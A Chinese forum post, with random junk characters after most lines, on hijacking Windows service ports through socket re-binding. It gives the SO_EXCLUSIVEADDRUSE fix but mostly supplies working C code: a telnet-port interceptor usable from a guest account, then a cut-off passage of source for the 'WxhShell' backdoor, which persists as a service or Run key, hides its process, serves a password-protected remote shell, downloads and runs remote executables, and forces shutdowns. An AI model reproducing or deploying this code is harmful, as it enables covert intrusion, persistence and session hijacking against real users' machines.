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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uUx7>algF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); - |DWPU!"  
5tkKd4VfL  
  saddr.sin_family = AF_INET; h]~FYY  
Op9 ^Eu%n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); re%XaL  
[/*;}NUv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;Q q_  
r{d@74  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CeOA_M  
W3Ee3  
  这意味着什么?意味着可以进行如下的攻击: S9$,.aq  
VFF5 Tp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j+-`P5  
2/t;}pw8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y ~I>mc]  
\hI?XnL#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'xai5X  
t 3N}):  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uUHWTyoO  
(i(E~^O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n7~3~i` D;  
t>%b[(a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5CcX'*P  
_hl| 3 eW5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  r90tXx  
; \co{_&D  
  #include ?-Of\fNu  
  #include 6rmx{Bt  
  #include z<!A;.iD  
  #include    r6Vw!^]8u8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $ e L-fg  
  int main() 1TA!9cz0Z  
  { D5Sbs(  
  WORD wVersionRequested; 60%fva  
  DWORD ret; ?P|z,n{  
  WSADATA wsaData; (>u1O V  
  BOOL val; [#\OCdb*3  
  SOCKADDR_IN saddr; E$:2AK{*  
  SOCKADDR_IN scaddr; "WGKwi=W  
  int err; Rl0"9D87z  
  SOCKET s; M^HYkXn[  
  SOCKET sc; 0Qeda@J  
  int caddsize; X1}M_h %  
  HANDLE mt; <W3p!  
  DWORD tid;   7z,  $  
  wVersionRequested = MAKEWORD( 2, 2 ); @V^.eVM\R  
  err = WSAStartup( wVersionRequested, &wsaData ); $U7/w?gc'  
  if ( err != 0 ) { hmLI9TUe6  
  printf("error!WSAStartup failed!\n"); Kc^ctAk7;  
  return -1; a9^})By&  
  }  Jn|<G  
  saddr.sin_family = AF_INET; tGl|/  
   v_%6Ly  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S{2;PaK  
8'3&z-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0^J%&1aIc  
  saddr.sin_port = htons(23); 4%qmwt*p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X1o R  
  { ?RG;q  
  printf("error!socket failed!\n"); nSSJl  
  return -1; HES$. a  
  } B/lIn' =  
  val = TRUE; @%u}|iF|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?uTuO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &u[F)|  
  { !E00I0W-h  
  printf("error!setsockopt failed!\n"); />9`Mbg[G  
  return -1; ]P7gEBi  
  } 5lzbg   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b9i_\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B$s6|~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MU] F'6V  
/i@.Xg@:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .L#4#IO  
  { @(x]+*)  
  ret=GetLastError(); AZNo%!)o  
  printf("error!bind failed!\n"); LHOt(5VY  
  return -1; kn3GgdU  
  } ^hEN  
  listen(s,2); V?^qW#AG  
  while(1) Xu_1r8-|=b  
  { r:0RvWif  
  caddsize = sizeof(scaddr); tZ@&di:-F  
  //接受连接请求 hTby:$aCg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a8[%-eW,  
  if(sc!=INVALID_SOCKET) n 78!]O  
  { (kK8 OxfF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *Z.{1  
  if(mt==NULL) Fv/{)H<:y  
  { (qc <'$o  
  printf("Thread Creat Failed!\n"); oliVaavj  
  break; d^IX(y*$  
  } $`0^E#Nl  
  } FChW`b&S  
  CloseHandle(mt); xk8NX-:  
  } G;t< dJ8  
  closesocket(s); c??m9=OX1  
  WSACleanup(); Jq>5:"jZ0  
  return 0; fIx|0,D&7L  
  }   h;} fdk  
  DWORD WINAPI ClientThread(LPVOID lpParam) S$wC{7?f  
  { 'i3-mZ/|8  
  SOCKET ss = (SOCKET)lpParam; ]NWcd~"b!Z  
  SOCKET sc; KU+u.J  
  unsigned char buf[4096]; l&] %APL  
  SOCKADDR_IN saddr; R"t2=3K  
  long num; +ZE"pA^C  
  DWORD val; Avljrds+7  
  DWORD ret; zKYN5|17  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h= YTgJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <R2SV=]Sq#  
  saddr.sin_family = AF_INET; i+I.>L/S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n3/ Bs  
  saddr.sin_port = htons(23); l_ x jsu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1dp8'f5^  
  { PDgZb  
  printf("error!socket failed!\n"); O6-';H:I]L  
  return -1; 9ucoQ@  
  } $V<fJpA  
  val = 100; $'*{&/@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9*n?V;E  
  { j9Z1=z  
  ret = GetLastError(); Gh{9nM_\"  
  return -1; @frV:%  
  } Opy{i#>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZL!5dT&@W  
  { 4|eI_u{_  
  ret = GetLastError(); @Y9tkJIt  
  return -1; -=1>t3~\  
  } cUi6 On1C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hG9Mp!d91  
  { h;cw=G  
  printf("error!socket connect failed!\n"); KUq(&H7  
  closesocket(sc); =7~;*Ts  
  closesocket(ss); #.}&6ZP  
  return -1; *a(GG  
  } [Q8vS;.  
  while(1) <1~_nt~(*  
  { fE>JoQs38  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =t}m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r0'a-Mk;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yzNDXA.  
  num = recv(ss,buf,4096,0); yWH!v]S  
  if(num>0) U?:?NC=1{  
  send(sc,buf,num,0); O+Db#FW  
  else if(num==0) a(`"qS  
  break; cSTL.QF  
  num = recv(sc,buf,4096,0); Qq.Ja%Zq  
  if(num>0) FA%BzU5^  
  send(ss,buf,num,0); CA/Lv{[2  
  else if(num==0) +- hfl/$  
  break; J?&%fI  
  } 6LT.ng  
  closesocket(ss); #K> Ue>hx  
  closesocket(sc); \/m-G:|  
  return 0 ; >8`;SEnv  
  } 3?&P^{  
%~Wr/TOt+  
lj *=bK  
========================================================== [RDY(}P%  
.36]>8  
下边附上一个代码,,WXhSHELL ~Bt >Y  
$D*Yhv!/  
========================================================== fzjtaH?  
7zNfq.Ni~  
#include "stdafx.h" 7u%OYt D E  
\ tU[,3  
#include <stdio.h> _#<7s`i  
#include <string.h> (gutDUO;  
#include <windows.h> (. $e@k=  
#include <winsock2.h> yW}x  
#include <winsvc.h> `my\59T  
#include <urlmon.h> /EVXkf0  
|[/XG2S  
#pragma comment (lib, "Ws2_32.lib") EhOB+Mc1  
#pragma comment (lib, "urlmon.lib") kL -f@CD  
TPi{c_ ]  
#define MAX_USER   100 // 最大客户端连接数 j'SGZnsy*  
#define BUF_SOCK   200 // sock buffer s*e1m%  
#define KEY_BUFF   255 // 输入 buffer ( d8rfet  
<+<,$jGC-  
#define REBOOT     0   // 重启 v +?'/Q%  
#define SHUTDOWN   1   // 关机 GRgpy  
17ynFHMd,  
#define DEF_PORT   5000 // 监听端口 }A<fCm7  
 7"])Y  
#define REG_LEN     16   // 注册表键长度 1=jwJv.^/  
#define SVC_LEN     80   // NT服务名长度 #]wBXzu?  
'"V]>)  
// 从dll定义API cMAY8$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =A/$[POr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MnW"ksH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^%33&<mB}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6.3qux9  
#4& <d.aw'  
// wxhshell配置信息 AT"!Ys|  
struct WSCFG { jXyK[q&O&  
  int ws_port;         // 监听端口 kl5Y{![/&f  
  char ws_passstr[REG_LEN]; // 口令 A^7}:[s20  
  int ws_autoins;       // 安装标记, 1=yes 0=no :rN5HOg^9  
  char ws_regname[REG_LEN]; // 注册表键名 !$,e)89  
  char ws_svcname[REG_LEN]; // 服务名 *,XT;h$'>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HwBJUr91]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [ldx_+xa:E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ehtb`Ms  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |OBZSk1jp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'R n\CMTH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 & c 81q2  
idZ]d6  
}; %wmbFj}  
fj y2\J!  
// default Wxhshell configuration \'P79=AU  
struct WSCFG wscfg={DEF_PORT, u< 5{H='6  
    "xuhuanlingzhe", l`EKL2n  
    1, S\A9r!2  
    "Wxhshell", J/A UOInh  
    "Wxhshell",  BbNl:`  
            "WxhShell Service", .!g  
    "Wrsky Windows CmdShell Service", TI637yqCU  
    "Please Input Your Password: ", V_H0z  
  1, frbeCBP&)  
  "http://www.wrsky.com/wxhshell.exe", T:w%RF[v9  
  "Wxhshell.exe" 5G WC  
    }; [mG:PTK3  
+2^Mz&I@b  
// 消息定义模块 vb]H $@0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2P VQSwW:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P{>-MT2E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !u%XvxJwDb  
char *msg_ws_ext="\n\rExit."; I !g+K  
char *msg_ws_end="\n\rQuit."; NYF 7Ep; _  
char *msg_ws_boot="\n\rReboot..."; 4]ETF+   
char *msg_ws_poff="\n\rShutdown..."; 'X1/tB8*  
char *msg_ws_down="\n\rSave to "; qyY]: (8  
 k< g  
char *msg_ws_err="\n\rErr!"; /cZ-+cu  
char *msg_ws_ok="\n\rOK!"; -T.C?Q g  
?~rz'Pu~  
char ExeFile[MAX_PATH]; Ccy0!re  
int nUser = 0; pm'i4!mY<P  
HANDLE handles[MAX_USER]; [hKt4]R  
int OsIsNt; Ku]<$uo  
_!E/ em  
SERVICE_STATUS       serviceStatus; d /`d:g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :@sjOY  
TM`6:5ONv  
// 函数声明 w?A6S-z  
int Install(void); N5@l[F7I  
int Uninstall(void); sFonc  
int DownloadFile(char *sURL, SOCKET wsh); <FU1|  
int Boot(int flag); (p}N cn.  
void HideProc(void); N/eFwv.Er  
int GetOsVer(void); z%[^-l-  
int Wxhshell(SOCKET wsl); Q`(h  
void TalkWithClient(void *cs); jR mo9Bb2  
int CmdShell(SOCKET sock); FK`M+ j  
int StartFromService(void); S1d{! ` 3  
int StartWxhshell(LPSTR lpCmdLine); , Y cF~  
C_V5.6T!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5,K*IH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xSZ+6R|  
?H(']3X5@  
// 数据结构和表定义 eih~ SBSH  
SERVICE_TABLE_ENTRY DispatchTable[] = d<afO?"  
{ ynG@/S6)K  
{wscfg.ws_svcname, NTServiceMain}, %&S :W%qm?  
{NULL, NULL} j<_)Y(x>  
}; sWX\/Iyy2p  
D=!5l4  
// 自我安装 WxF0LhM  
int Install(void) )W$@phY(I  
{ $|!@$Aj  
  char svExeFile[MAX_PATH]; #(Ezt% ^  
  HKEY key; {&s.*5  
  strcpy(svExeFile,ExeFile); 5SwQ9#  
DeR C_ [  
// 如果是win9x系统,修改注册表设为自启动 e:zuP.R  
if(!OsIsNt) { $Rv (v%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ">"B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qgZN&7Nn:  
  RegCloseKey(key); ~ZZJ/Cu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b0lZb'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C: <TJ  
  RegCloseKey(key); (eF "[,z  
  return 0; s N|7   
    } ~<Sb:I zld  
  } szU_,.\  
} ZH8Oidj`  
else { x"n)y1y  
&{H LYxh   
// 如果是NT以上系统,安装为系统服务 J:Ncy}AO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s2iL5N|"Q  
if (schSCManager!=0) @}iY(-V  
{ B>,&{ah/5J  
  SC_HANDLE schService = CreateService Fd/.\s  
  (  wA7^   
  schSCManager, b0!ZA/YC-  
  wscfg.ws_svcname, Jx4"~ 4  
  wscfg.ws_svcdisp, %t J@)  
  SERVICE_ALL_ACCESS, !O*uQB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xE%sPWbj  
  SERVICE_AUTO_START, )NL_))\  
  SERVICE_ERROR_NORMAL, dSw%Qv*y  
  svExeFile, >.f'_2#Z&  
  NULL, yOXL19d@p_  
  NULL, D0a3%LBS/2  
  NULL, k&SI -jxj  
  NULL, ^h\Y.  
  NULL 6=i@t tAK  
  ); >'96SE3  
  if (schService!=0) X*Cvh|  
  { xRPU GGv  
  CloseServiceHandle(schService); ]J>{ZL   
  CloseServiceHandle(schSCManager); `u7"s'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !Au9C   
  strcat(svExeFile,wscfg.ws_svcname); \rY<DxtOq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K"U[OZC`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qJf=f3  
  RegCloseKey(key); :Vl2\H=P  
  return 0; "fX9bh^  
    } m03]SF(#3  
  } 7z^\}&  
  CloseServiceHandle(schSCManager); t~@~XI5  
} Z/w "zCd  
} x;p7n 2_  
47 *,  
return 1; [Uw/;Kyh  
} hj|P*yKV  
L>Soj|WUy(  
// 自我卸载 U|}Bk/0.  
int Uninstall(void) [[ ;vZ  
{ ?wQaM3 |^:  
  HKEY key; =`%"-A  
Ua= w;h  
if(!OsIsNt) { !<I3^q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S@PAtB5  
  RegDeleteValue(key,wscfg.ws_regname); t;e+WZkV  
  RegCloseKey(key); T.kQ] h2ZG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6e.?L  
  RegDeleteValue(key,wscfg.ws_regname); VL O !hA#  
  RegCloseKey(key); +9d]([Lx  
  return 0; Y] "_}  
  } |'" 17c&  
} @ATJ|5.gr  
} ri?>@i-9=  
else { uy^vQ/  
$^;b 1bnO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /,m!S RJ  
if (schSCManager!=0) ui$JQ_P  
{ <qpDAz4k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ap[{`u  
  if (schService!=0) j9G1  _  
  { 6I`Lszs  
  if(DeleteService(schService)!=0) { EA+}Rf6}  
  CloseServiceHandle(schService); slWO\AYiO  
  CloseServiceHandle(schSCManager); rfVHPMD0  
  return 0; BQTibd  
  } ;Q&|-`NK  
  CloseServiceHandle(schService); Y4.t:Uzr  
  } ~xSAR;8  
  CloseServiceHandle(schSCManager); ollk {N  
} sq~9 l|F  
} A:-r 2;xB  
quEP"  
return 1; G^Q8B^Lg  
} C_~hX G  
8Q2qroT  
// 从指定url下载文件 ':jsCeSB  
int DownloadFile(char *sURL, SOCKET wsh) @CJ`T&  
{  edv&!  
  HRESULT hr; G$)f5_]7{  
char seps[]= "/"; >PBP:s1f4>  
char *token; eVy>  
char *file; +>uiI4g  
char myURL[MAX_PATH]; -lNq.pp3-$  
char myFILE[MAX_PATH]; tB i16=  
R&`; C<6}D  
strcpy(myURL,sURL); l,n V*Z  
  token=strtok(myURL,seps); bXw!fYm&  
  while(token!=NULL) [~[)C]-=  
  { RZg8y+jM  
    file=token; 5!pof\/a  
  token=strtok(NULL,seps); NEb M>1>^  
  } [G/ti&Od^  
XzBnj7E  
GetCurrentDirectory(MAX_PATH,myFILE); ,4&?`Q  
strcat(myFILE, "\\"); `f~\d.*U  
strcat(myFILE, file); QxaW x  
  send(wsh,myFILE,strlen(myFILE),0); g} /efE  
send(wsh,"...",3,0); h/a|-V}m&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -~'{WSJ  
  if(hr==S_OK) #rkz:ir4  
return 0; qQ%RnD9  
else w#!^wN  
return 1; zc n/LF  
1"4Pan  
} -J<{NF  
qlJzXq{|`  
// 系统电源模块 (WISf}[l;  
int Boot(int flag) z9B" "ws  
{ bkvm-$/  
  HANDLE hToken; ^-&BGQM  
  TOKEN_PRIVILEGES tkp; PS=N]e7k'  
4|#@41\ B  
  if(OsIsNt) { jrKRXS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UbnX%2TW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kU {>hG4  
    tkp.PrivilegeCount = 1; 5@kNvi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oXxY$x*R1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \[57Dmo  
if(flag==REBOOT) { ,R~{$QUl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k)t_U3i  
  return 0; 7l~d_<h  
} J:!m49fF  
else { p!OCF]r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]#fmih^  
  return 0; m/T3Um  
} P~H?[ ;  
  } lI<Q=gd  
  else { nbMxQOD k  
if(flag==REBOOT) { m);0sb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iW # |N^  
  return 0; !d)Vr5x  
} [K=M; $iQ  
else { l[AQyR1+/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KS3>c7  
  return 0; \Xr Sn_p-  
} s)L\D$;+O  
} t{ R\\j  
nsM=n}$5x  
return 1; iiw\  
} y$Rr,]L  
VPh0{(O^=  
// win9x进程隐藏模块 ;Eer  
void HideProc(void) '<JNS8h  
{ D["~G v  
E0s|eA&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (T9Q6 \sa  
  if ( hKernel != NULL ) hT0[O  
  { hp$/O4fD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .yF@Ow  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cOq'MDr  
    FreeLibrary(hKernel); 0'3f^Ajf  
  } &&daQg4Ha  
nhu;e}[>  
return; c&mLK1A6  
} w1&\heSQ  
ZR," w  
// 获取操作系统版本 q9h 3/uTv  
int GetOsVer(void) (qbL=R"  
{ !<8-juY  
  OSVERSIONINFO winfo; T@4R|P&{)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _&wrA3@/L  
  GetVersionEx(&winfo); Z"pCDW)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [B,w\PLub  
  return 1; l+vD`aJ3  
  else x* 9 Xu"?  
  return 0; J\@W+/#dF  
} !2o1c  
[qL{w&R  
// 客户端句柄模块 ~O c:b>~  
int Wxhshell(SOCKET wsl) b4R;#rm  
{ 3OlXi9>3  
  SOCKET wsh; z]%c6ty  
  struct sockaddr_in client; I,lX;~xb  
  DWORD myID; -P.51q  
%A$5mi^  
  while(nUser<MAX_USER) fFNs cY<4w  
{ X3dXRDB'  
  int nSize=sizeof(client); 9zL(PkC%\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CQANex4&\  
  if(wsh==INVALID_SOCKET) return 1; $SOFq+-T  
7K 'uNPC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =] +owl2  
if(handles[nUser]==0) N8E  
  closesocket(wsh); v:1DNR4  
else 3-PqUJT$   
  nUser++; CiNOGSlDj  
  } 2bnYYQ14:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z%E ok  
 CK"OHjR  
  return 0;  ;H4s[#K  
} Uk'bOp  
N*`qsv 0  
// 关闭 socket P U2^4h/[`  
void CloseIt(SOCKET wsh) 0#S#v2r5  
{ _m.w5nJ  
closesocket(wsh); x>bGxDtu*  
nUser--; {6tj$&\)  
ExitThread(0); WbWEgd%8.  
} 5<>"d :9  
^ 7SE2Zi  
// 客户端请求句柄 T! ww3d  
void TalkWithClient(void *cs) (UB?UJc  
{ `PUGg[Zx^  
Ntt*}|:QV<  
  SOCKET wsh=(SOCKET)cs; &~a S24c  
  char pwd[SVC_LEN]; kRb  %:*  
  char cmd[KEY_BUFF]; @g5qcjD'[  
char chr[1]; 4Jf9N'  
int i,j; aJ"m`5]=%  
~+)>D7  
  while (nUser < MAX_USER) { nCS" l5  
`*ALb|4ilG  
if(wscfg.ws_passstr) { bgYUsc*uR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N XCvS0/h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ='t}d>l  
  //ZeroMemory(pwd,KEY_BUFF); %X BMi ~  
      i=0; Nl'@Y^8N  
  while(i<SVC_LEN) { Lb,wn{  
d.0K~M   
  // 设置超时 Z0[d;m*  
  fd_set FdRead; ]Zz.n5c  
  struct timeval TimeOut; {SkE`u4Sz  
  FD_ZERO(&FdRead); f#kT?!sP  
  FD_SET(wsh,&FdRead); !<3!ORFO  
  TimeOut.tv_sec=8; 0Lf4 ^9N  
  TimeOut.tv_usec=0; RKPX*(i~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =/!RQQ|8o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !pZ<{|cH  
 b]gVZ-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RcC5_@W  
  pwd=chr[0]; Yi j^hs@eV  
  if(chr[0]==0xd || chr[0]==0xa) { hXh nJ  
  pwd=0; Ae[fW97  
  break; SLW|)Q24  
  } {2)).g  
  i++; FP'-=zgc  
    } Xp.$FJ1)  
w{*PZb4  
  // 如果是非法用户,关闭 socket \(MI DCZ@-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^ -4~pDv^  
} Q2!5  
A5T&i]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MD^,"!A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5eiKMKW[  
M@z_tR'3\  
while(1) { .JOZ2QWm<  
oOHY+'V  
  ZeroMemory(cmd,KEY_BUFF); .I?~R:(Ig  
CTS1."kx1  
      // 自动支持客户端 telnet标准   q B IekQT  
  j=0; \n`/?\r.z  
  while(j<KEY_BUFF) { PthgxB^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4.p:$/GTS  
  cmd[j]=chr[0]; +e, c'.  
  if(chr[0]==0xa || chr[0]==0xd) { l,*5*1lM  
  cmd[j]=0; Wu"1M^a  
  break; g4u 6#.m(  
  } >=4('  
  j++; J5(^VKj  
    } {- &`@V  
S=gb y  
  // 下载文件 O0FUJGuTS  
  if(strstr(cmd,"http://")) { wB bCGU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3RanAT.nu:  
  if(DownloadFile(cmd,wsh)) pC]XbokES  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Re2&qxE  
  else Qvty;2$o@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  T  5F)  
  } %fnG v\uI  
  else { <F8e?xy  
W*Si"s2  
    switch(cmd[0]) { jfiUf1Mj  
  5DDSo0E  
  // 帮助 *7E#=xb  
  case '?': { $ x:N/mMu`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q^:VF()d_z  
    break; 5rmU9L  
  } j XH9P q4  
  // 安装 3FtL<7B '.  
  case 'i': {  \_  
    if(Install()) ;?k<L\zaw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |RXQ_|  
    else _!E&%=f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DJ DQH\&  
    break; #N"u 0  
    } lWe cxD$  
  // 卸载 tS>^x  
  case 'r': { LP=y$B  
    if(Uninstall()) R*!s'R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ @ fKKb|  
    else -r_,#LR!l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y%X! l(gQ  
    break; 5|=J\Lp2I  
    } 9|lLce$  
  // 显示 wxhshell 所在路径 WrSc@j&Ycv  
  case 'p': { yx|{:Li!  
    char svExeFile[MAX_PATH]; qDG2rFu&[  
    strcpy(svExeFile,"\n\r"); T@=C2 1  
      strcat(svExeFile,ExeFile); .9J}Z^FD  
        send(wsh,svExeFile,strlen(svExeFile),0); Q`W2\Kod]  
    break; P6O\\,B1A  
    } $~iZaX8&  
  // 重启 zPc"r$'0 U  
  case 'b': { x+j@YWDpG"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P%)r4+at  
    if(Boot(REBOOT)) 6Iqy"MQuq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pr,,E[  
    else { )A xD|A  
    closesocket(wsh); ^Fh*9[Zf$  
    ExitThread(0); FuBt`H  
    } v7SYWO#  
    break; 1*yxSU@uY  
    } e6>G8d  
  // 关机 e`S\-t?Z  
  case 'd': { N[e,%heR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5 ty2e`~K  
    if(Boot(SHUTDOWN)) /IG{j}  
